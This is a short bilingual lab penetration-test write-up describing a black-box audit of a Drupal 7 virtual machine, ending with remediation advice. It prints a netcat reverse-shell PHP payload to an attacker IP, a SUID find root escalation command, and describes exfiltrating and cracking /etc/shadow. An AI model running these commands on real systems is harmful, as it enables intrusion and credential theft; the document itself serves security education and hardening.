Disclaimer : Ce projet a été réalisé dans un environnement de laboratoire contrôlé et isolé à des fins éducatives et académiques. Aucune infrastructure réelle n'a été ciblée.
Contexte (Black Box)
L'objectif de ce projet est de réaliser un audit en boîte noire. L'analyse démarre sans aucune connaissance préalable de la cible (aucun identifiant, pas de documentation technique). L'infrastructure a été déployée virtuellement sous VMware dans un réseau privé isolé (Host-Only).
Kill Chain (Exploitation)
Étape 1 : Reconnaissance & Intrusion initiale
Scan Nmap détectant les ports 22, 80 et 111. Identification d'un CMS obsolète (Drupal 7.x) vulnérable à l'injection SQL (CVE-2014-3704 "Drupalgeddon").
nmap -sV 192.168.78.132
Résultat : Injection d'un nouvel utilisateur Administrateur via SQLi.
Étape 2 : Exécution de code (RCE & Reverse Shell)
Utilisation du module natif mal configuré "PHP Filter" pour exécuter du code arbitraire et obtenir un accès shell (www-data).
<?php system('nc -e /bin/bash 192.168.78.131 4444'); ?>
Étape 3 : Escalade de privilèges (Root)
Analyse des binaires SUID. Découverte d'une configuration critique sur la commande find.
find . -exec '/bin/sh' \;
Résultat : Shell interactif avec les privilèges Root (uid=0).
Étape 4 : Post-exploitation
Exfiltration du fichier /etc/shadow et cassage des hashs SHA-512 via attaque dictionnaire avec John the Ripper.
Synthèse & Remédiation
Niveau de risque CRITIQUE. Plan d'action recommandé :
- Mise à jour : Migrer Drupal vers une version maintenue pour patcher la faille SQLi.
- Durcissement : Retirer le bit SUID des exécutables non essentiels (
chmod u-s /usr/bin/find).
- Moindre Privilège : Désactiver le module PHP Filter.
Disclaimer: This project was conducted in a controlled and isolated laboratory environment for educational and academic purposes. No real infrastructure was targeted.
Context (Black Box)
The objective of this project is to perform a black box audit. The analysis starts without any prior knowledge of the target (no credentials, no technical documentation). The infrastructure was deployed virtually using VMware in an isolated private network (Host-Only).
Kill Chain (Exploitation)
Step 1: Recon & Initial Intrusion
Nmap scan detecting ports 22, 80, and 111. Identification of an outdated CMS (Drupal 7.x) vulnerable to SQL injection (CVE-2014-3704 "Drupalgeddon").
nmap -sV 192.168.78.132
Result: Injection of a new Administrator user via SQLi.
Step 2: Code Execution (RCE & Reverse Shell)
Exploitation of the misconfigured native "PHP Filter" module to execute arbitrary code and gain shell access (www-data).
<?php system('nc -e /bin/bash 192.168.78.131 4444'); ?>
Step 3: Privilege Escalation (Root)
Analysis of SUID binaries. Discovery of a critical configuration on the find command.
find . -exec '/bin/sh' \;
Result: Interactive shell with Root privileges (uid=0).
Step 4: Post-Exploitation
Exfiltration of the /etc/shadow file and cracking SHA-512 hashes using a dictionary attack with John the Ripper.
Summary & Remediation
Risk level: CRITICAL. Recommended action plan:
- Update: Migrate Drupal to a maintained version to patch the SQLi vulnerability.
- Hardening: Remove the SUID bit from non-essential executables (
chmod u-s /usr/bin/find).
- Least Privilege: Disable the PHP Filter module.